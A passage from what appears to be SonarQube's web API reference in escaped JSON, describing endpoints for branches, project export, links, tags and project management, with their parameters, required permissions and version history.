\u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;branch\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Branch key\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;feature/my_branch\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;project\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Project key\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;my_project\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;list\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;List the branches of a project or application.\\u003Cbr/\\u003ERequires \u0026#39;Browse\u0026#39; or \u0026#39;Execute analysis\u0026#39; rights on the specified project or application.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;6.6\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Application can be used on this web service\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;7.2\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;project\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Project key\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;my_project\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;rename\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Rename the main branch of a project or application.\\u003Cbr/\\u003ERequires \u0026#39;Administer\u0026#39; permission on the specified project or application.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;6.6\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;name\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;New name of the main branch\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;branch1\u0026#34;, \u0026#34;maximumLength\u0026#34;: 255 }, { \u0026#34;key\u0026#34;: \u0026#34;project\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Project key\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;my_project\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;set_automatic_deletion_protection\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Protect a specific branch from automatic deletion. Protection can\u0026#39;t be disabled for the main branch.\\u003Cbr/\\u003ERequires \u0026#39;Administer\u0026#39; permission on the specified project or application.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;8.1\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;branch\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Branch key\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;feature/my_branch\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;project\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Project key\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;my_project\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;value\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Sets whether the branch should be protected from automatic deletion when it hasn\u0026#39;t been analyzed for a set period of time.\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;true\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;true\u0026#34;, \u0026#34;false\u0026#34;, \u0026#34;yes\u0026#34;, \u0026#34;no\u0026#34; ] } ] }, { \u0026#34;key\u0026#34;: \u0026#34;set_main\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Allow to set a new main branch.\\u003Cbr/\\u003E. Caution, only applicable on projects.\\u003Cbr\\u003ERequires \u0026#39;Administer\u0026#39; rights on the specified project or application.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;10.2\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;branch\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Branch key\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;new_master\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;project\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Project key\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;my_project\u0026#34; } ] } ] }, { \u0026#34;path\u0026#34;: \u0026#34;api/project_dump\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;1.0\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Project export/import\u0026#34;, \u0026#34;actions\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;export\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Triggers project dump so that the project can be imported to another SonarQube server (see api/project_dump/import, available in Enterprise Edition). Requires the \u0026#39;Administer\u0026#39; permission.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;1.0\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Moved from Enterprise Edition to Community Edition\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;9.2\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;key\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;my_project\u0026#34; } ] } ] }, { \u0026#34;path\u0026#34;: \u0026#34;api/project_links\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;6.1\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Manage projects links.\u0026#34;, \u0026#34;actions\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;create\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Create a new project link.\\u003Cbr\\u003ERequires \u0026#39;Administer\u0026#39; permission on the specified project, or global \u0026#39;Administer\u0026#39; permission.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;6.1\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;name\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Link name\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;Custom\u0026#34;, \u0026#34;maximumLength\u0026#34;: 128 }, { \u0026#34;key\u0026#34;: \u0026#34;projectId\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Project id\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;AU-Tpxb--iU5OvuD2FLy\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;projectKey\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Project key\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;my_project\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;url\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Link url\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;http://example.com\u0026#34;, \u0026#34;maximumLength\u0026#34;: 2048 } ] }, { \u0026#34;key\u0026#34;: \u0026#34;delete\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Delete existing project link.\\u003Cbr\\u003ERequires \u0026#39;Administer\u0026#39; permission on the specified project, or global \u0026#39;Administer\u0026#39; permission.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;6.1\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;id\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Link id\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;17\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;search\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;List links of a project.\\u003Cbr\\u003EThe \u0026#39;projectId\u0026#39; or \u0026#39;projectKey\u0026#39; must be provided.\\u003Cbr\\u003ERequires one of the following permissions:\\u003Cul\\u003E\\u003Cli\\u003E\u0026#39;Administer System\u0026#39;\\u003C/li\\u003E\\u003Cli\\u003E\u0026#39;Administer\u0026#39; rights on the specified project\\u003C/li\\u003E\\u003Cli\\u003E\u0026#39;Browse\u0026#39; on the specified project\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;6.1\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;projectId\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Project Id\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;AU-Tpxb--iU5OvuD2FLy\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;projectKey\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Project Key\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;my_project\u0026#34; } ] } ] }, { \u0026#34;path\u0026#34;: \u0026#34;api/project_tags\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;6.4\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Manage project tags\u0026#34;, \u0026#34;actions\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;search\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Search tags\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;6.4\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Parameter \u0026#39;page\u0026#39; added\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;9.2\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;p\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;1-based page number\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;1\u0026#34;, \u0026#34;exampleValue\u0026#34;: \u0026#34;42\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;ps\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Page size. Must be greater than 0 and less or equal than 100\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;10\u0026#34;, \u0026#34;exampleValue\u0026#34;: \u0026#34;20\u0026#34;, \u0026#34;maximumValue\u0026#34;: 100 }, { \u0026#34;key\u0026#34;: \u0026#34;q\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Limit search to tags that contain the supplied string.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;off\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;set\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Set tags on a project.\\u003Cbr\\u003ERequires the following permission: \u0026#39;Administer\u0026#39; rights on the specified project\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;6.4\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;project\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Project key\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;my_project\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;tags\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of tags\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;finance, offshore\u0026#34; } ] } ] }, { \u0026#34;path\u0026#34;: \u0026#34;api/projects\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;2.10\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Manage project existence.\u0026#34;, \u0026#34;actions\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;bulk_delete\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Delete one or several projects.\\u003Cbr /\\u003EOnly the 1\u0026#39;000 first items in project filters are taken into account.\\u003Cbr /\\u003ERequires \u0026#39;Administer System\u0026#39; permission.\\u003Cbr /\\u003EAt least one parameter is required among analyzedBefore, projects and q\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.2\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;The parameter \u0026#39;analyzedBefore\u0026#39; takes into account the analysis of all branches and pull requests, not only the main branch.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;9.1\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;At least one parameter is required among analyzedBefore, projects and q\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;7.8\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;analyzedBefore\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Filter the projects for which last analysis of any branch is older than the given date (exclusive).\\u003Cbr\\u003E Either a date (server timezone) or datetime can be provided.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;6.6\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;2017-10-19 or 2017-10-19T13:00:00+0200\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;onProvisionedOnly\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Filter the projects that are provisioned\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;6.6\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;false\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;true\u0026#34;, \u0026#34;false\u0026#34;, \u0026#34;yes\u0026#34;, \u0026#34;no\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;projects\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of project keys\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;my_project,another_project\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;q\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Limit to: \\u003Cul\\u003E\\u003Cli\\u003Ecomponent names that contain the supplied string\\u003C/li\\u003E\\u003Cli\\u003Ecomponent keys that contain the supplied string\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;sonar\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;qualifiers\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of component qualifiers. Filter the results with the specified qualifiers\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;TRK\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;TRK\u0026#34;, \u0026#34;VW\u0026#34;, \u0026#34;APP\u0026#34; ] } ] }, { \u0026#34;key\u0026#34;: \u0026#34;create\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Create a project.\\u003Cbr/\\u003EIf your project is hosted on a DevOps Platform, please use the import endpoint under api/alm_integrations, so it creates and properly configures the project.Requires \u0026#39;Create Projects\u0026#39; permission.\\u003Cbr/\\u003E\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;4.0\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Field \u0026#39;mainBranch\u0026#39; added to the request\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;9.8\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The \u0026#39;visibility\u0026#39; parameter is public\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;7.1\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;mainBranch\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Key of the main branch of the project. If not provided, the default main branch key will be used.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;9.8\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;develop\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;name\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Name of the project. If name is longer than 500, it is abbreviated.\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;SonarQube\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;newCodeDefinitionType\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Project New Code Definition Type\\u003Cbr/\\u003ENew code definitions of the following types are allowed:\\u003Cul\\u003E\\u003Cli\\u003EPREVIOUS_VERSION\\u003C/li\\u003E\\u003Cli\\u003ENUMBER_OF_DAYS\\u003C/li\\u003E\\u003Cli\\u003EREFERENCE_BRANCH - will default to the main branch.\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;10.1\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false }, { \u0026#34;key\u0026#34;: \u0026#34;newCodeDefinitionValue\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Project New Code Definition Value\\u003Cbr/\\u003EFor each new code definition type, a different value is expected:\\u003Cul\\u003E\\u003Cli\\u003Eno value, when the new code definition type is PREVIOUS_VERSION and REFERENCE_BRANCH\\u003C/li\\u003E\\u003Cli\\u003Ea number between 1 and 90, when the new code definition type is NUMBER_OF_DAYS\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;10.1\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false }, { \u0026#34;key\u0026#34;: \u0026#34;project\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Key of the project\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;my_project\u0026#34;, \u0026#34;maximumLength\u0026#34;: 400 }, { \u0026#34;key\u0026#34;: \u0026#34;visibility\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Whether the created project should be visible to everyone, or only specific user/groups.\\u003Cbr/\\u003EIf no visibility is specified, the default project visibility will be used.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;6.4\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;private\u0026#34;, \u0026#34;public\u0026#34; ] } ] }, { \u0026#34;key\u0026#34;: \u0026#34;delete\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Delete a project.\\u003Cbr\\u003E Requires \u0026#39;Administer System\u0026#39; permission or \u0026#39;Administer\u0026#39; permission on the project.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.2\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;project\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Project key\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;my_project\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;search\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Search for projects or views to administrate them.\\n\\u003Cul\\u003E\\n \\u003Cli\\u003EThe response field \u0026#39;lastAnalysisDate\u0026#39; takes into account the analysis of all branches and pull requests, not only the main branch.\\u003C/li\\u003E\\n \\u003Cli\\u003EThe response field \u0026#39;revision\u0026#39; takes into account the analysis of the main branch only.\\u003C/li\\u003E\\n\\u003C/ul\\u003E\\nRequires \u0026#39;Administer System\u0026#39; permission\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;6.3\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Response includes \u0026#39;managed\u0026#39; field.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.2\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The parameter \u0026#39;analyzedBefore\u0026#39; and the field \u0026#39;lastAnalysisDate\u0026#39; of the returned projects take into account the analysis of all branches and pull requests, not only the main branch.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;9.1\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;analyzedBefore\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Filter the projects for which the last analysis of all branches are older than the given date (exclusive).\\u003Cbr\\u003E Either a date (server timezone) or datetime can be provided.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;6.6\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;2017-10-19 or 2017-10-19T13:00:00+0200\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;onProvisionedOnly\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Filter the projects that are provisioned\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;6.6\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;false\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;true\u0026#34;, \u0026#34;false\u0026#34;, \u0026#34;yes\u0026#34;, \u0026#34;no\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;p\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;1-based page number\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;1\u0026#34;, \u0026#34;exampleValue\u0026#34;: \u0026#34;42\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;projects\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of project keys\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;6.6\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;my_project,another_project\u0026#34;, \u0026#34;maxValuesAllowed\u0026#34;: 1000 }, { \u0026#34;key\u0026#34;: \u0026#34;ps\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Page size. Must be greater than 0 and less or equal than 500\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;100\u0026#34;, \u0026#34;exampleValue\u0026#34;: \u0026#34;20\u0026#34;, \u0026#34;maximumValue\u0026#34;: 500 }, { \u0026#34;key\u0026#34;: \u0026#34;q\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Limit search to: \\u003Cul\\u003E\\u003Cli\\u003Ecomponent names that contain the supplied string\\u003C/li\\u003E\\u003Cli\\u003Ecomponent keys that contain the supplied string\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;sonar\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;qualifiers\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of component qualifiers. Filter the results with the specified qualifiers\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;TRK\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;TRK\u0026#34;, \u0026#34;VW\u0026#34;, \u0026#34;APP\u0026#34; ] } ] }, { \u0026#34;key\u0026#34;: \u0026#34;update_key\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Update a project all its sub-components keys.\\u003Cbr\\u003ERequires one of the following permissions: \\u003Cul\\u003E\\u003Cli\\u003E\u0026#39;Administer System\u0026#39;\\u003C/li\\u003E\\u003Cli\\u003E\u0026#39;Administer\u0026#39; rights on the specified project\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;6.1\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Ability to update key of a disabled module\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;7.1\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;from\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Project key\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;my_old_project\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;to\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;New project key\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;my_new_project\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;update_visibility\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Updates visibility of a project, application or a portfolio.\\u003Cbr\\u003ERequires \u0026#39;Project administer\u0026#39; permission on the specified entity\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;6.4\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;project\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Project, application or portfolio key\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;my_project\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;visibility\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;New visibility\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;possibleValues\u0026#34;: [ 